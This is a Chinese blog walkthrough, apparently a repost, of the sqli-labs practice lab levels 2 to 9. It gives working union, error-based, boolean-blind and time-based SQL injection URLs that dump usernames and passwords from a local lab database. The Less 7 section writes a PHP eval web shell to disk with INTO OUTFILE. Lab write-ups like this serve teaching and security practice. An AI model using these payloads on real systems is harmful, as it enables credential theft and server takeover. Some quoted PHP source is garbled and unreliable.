less 2-10

网址:https://blog.csdn.net/u012763794/article/details/51207833

切记 网址后面#需要切换成%23 否则可能无法正常注入

less 2 GET - Error based - Intiger based (基于错误的GET整型注入)
整型的注入无需单引号
这里写图片描述
通过

http://127.0.0.1/sqli-labs-master/Less-2/?id=1%20union%20select%201,2,3#

应该可以显示数字1,2,3其中的两个才对 ,原来是源码func_mysql_fetch_array的原因
那么我们只要让第一行查询的结果是空集(即union左边的select子句查询结果为空),那么我们union右边的查询结果自然就成为了第一行,就打印在网页上了,这个id他一般传的是数字,而且一般都是从1开始自增的,我们可以把id值设为非正数(负数或0),浮点数,字符型或字符串都行,下面的就是分别举例了

http://127.0.0.1/sqli-labs-master/Less-2/?id=0 union select 1,2,3#

这里写图片描述

因为只有2,3两个位置使用 我们增加

concat_ws(char(32,58,32),user(),database(),version())

 http://127.0.0.1/sqli-labs-master/Less-2/?id=0 union select 1,2,concat_ws(char(32,58,32),user(),database(),version())#

这里写图片描述

查询数据库中的table(表)
这里写图片描述
因为只能返回一个 所以我们使用limit
  Limit子句可以被用于强制 SELECT 语句返回指定的记录数。Limit接受一个或两个数字参数。参数必须是一个整数常量。如果给定两个参数,第一个参数指定第一个返回记录行的偏移量,第二个参数指定返回记录行的最大数目。

  //初始记录行的偏移量是 0(而不是 1):
  mysql> SELECT * FROM table LIMIT 5,10; //检索记录行6-15

  //为了检索从某一个偏移量到记录集的结束所有的记录行,可以指定第二个参数为 -1:
  mysql> SELECT * FROM table LIMIT 95,-1; // 检索记录行 96-last

  //如果只给定一个参数,它表示返回最大的记录行数目。换句话说,LIMIT n 等价于 LIMIT 0,n:
  mysql> SELECT * FROM table LIMIT 5; //检索前 5 个记录行

通过

 http://127.0.0.1/sqli-labs-master/Less-2/?id=1%20union%20select%201,2,table_name%20from%20information_schema.tables%20where%20table_schema=0x7365637572697479%20limit%204,1%23

查找到表users
这里写图片描述

id

http://127.0.0.1/sqli-labs-master/Less-2/?id=0%20union%20select%201,2,column_name%20from%20information_schema.columns%20where%20table_schema=0x7365637572697479%20and table_name=0x7573657273 limit%200,1%23

这里写图片描述

同理可以得到username 和password

less 3 GET - Error based - Single quotes with twist string (基于错误的GET单引号变形字符型注入)

lsee2 例子:
i d = _GET[‘id’]; // i d = i d sql="SELECT * FROM users WHERE id= i d L I M I T 0 , 1 ; i d = id=id

less3 例子:
i d = _GET[‘id’]; // i d = i d sql="SELECT * FROM users WHERE id=(' i d ) L I M I T 0 , 1 ; i d = ( id’)=(‘id’)

less 4 GET - Error based - Double Quotes - String (基于错误的GET双引号字符型注入)

less4

i d = _GET[‘id’]
s q l =" S E L E C T F R O M u s e r s W H E R E i d = ( id) LIMIT 0,1”;

这里写图片描述

所以我们在判断注入时,要加入双引号进行判断哦,而且从下图可看到右括号,那么我们要用右括号闭合左括号

这里写图片描述

payload:

 http://localhost/sqli-labs/Less-4/?id=1") union select 1,2,concat_ws(char(32,58,32),id,username,password) from  users limit 1,1 -- k

less5
代码

s q l =" S E L E C T F R O M u s e r s W H E R E i d = id’ LIMIT 0,1”;
echo “你的sql语句是:”. s q l . ; result=mysql_query( s q l ) ; row = mysql_fetch_array($result);

if($row)
{
echo '<font size="5" color="#FFFF00">'; 
echo 'You are in...........';
echo "<br>";
    echo "</font>";
}

未输出$row

http://localhost/sqli-labs/Less-5/?id=1' union select count(*),count(*), concat((select database()), floor(rand()*2)) as a from information_schema.tables group by a%23

当然只有一个也行

 http://localhost/sqli-labs/Less-5/?id=1' union select count(*),1, concat((select database()), floor(rand()*2)) as a from information_schema.tables group by a%23

less 6 GET - Double Injection - Double Quotes - String (双注入GET双引号字符型注入)

payload:

http://localhost/sqli-labs/Less-6/?id=1" union select 1,2,concat_ws(char(32,58,32),id,username,password) from  users limit 1,1 -- k

//下面的这个”是中文双引号

 http://localhost/sqli-labs/Less-6/?id=1哈哈“

union select 1,2,concat_ws(char(32,58,32),id,username,password) from users limit 1,1 – k

http://localhost/sqli-labs/Less-6/?id=1哈哈“ union select 1,2,concat_ws(char(32,58,32),id,username,password) from  users limit 1,1 and ”+

less 7 GET - Dump into outfile - String (导出文件GET字符型注入)

最后的payload:

http://localhost/sqli-labs/Less-7/?id=1')) union select 1,'2','<?php @eval($_POST["giantbranch"]);?>' into outfile 'E:\\wamp\\www\\sqli-labs\\muma.php' %23

这里写图片描述
注意:文件不能覆盖,如下图(所以只能执行一次,只能换名字了)

less 8 GET - Blind - Boolian Based - Single Quotes (布尔型单引号GET盲注)
正确了显示内容 错误了不显示内容 无报错信息

发现加个单引号跟没加显示不一样,加了单引号连you are in都不显示了,没有报错,所以只能用盲注判断了

http://localhost/sqli-labs/Less-8/?id=1' and ascii(substr((select database()),1,1))>114 %23 返回正确,大于114,间在115-116之间

http://localhost/sqli-labs/Less-8/?id=1' and ascii(substr((select database()),1,1))>115 %23 返回错误,不大于115,即第一个字母的ascii为115,即字母s

less 9 GET - Blind - Time based. - Single Quotes (基于时间的GET单引号盲注)
无论正确或者错误 无报错信息 内容均正常显示

http://127.0.0.1/sqli-labs-master/Less-9/?id=1' and if(ascii(substr(database(),1,1))>114, 0, sleep(5)) %23

猜你喜欢

转载自blog.csdn.net/u012922879/article/details/82016691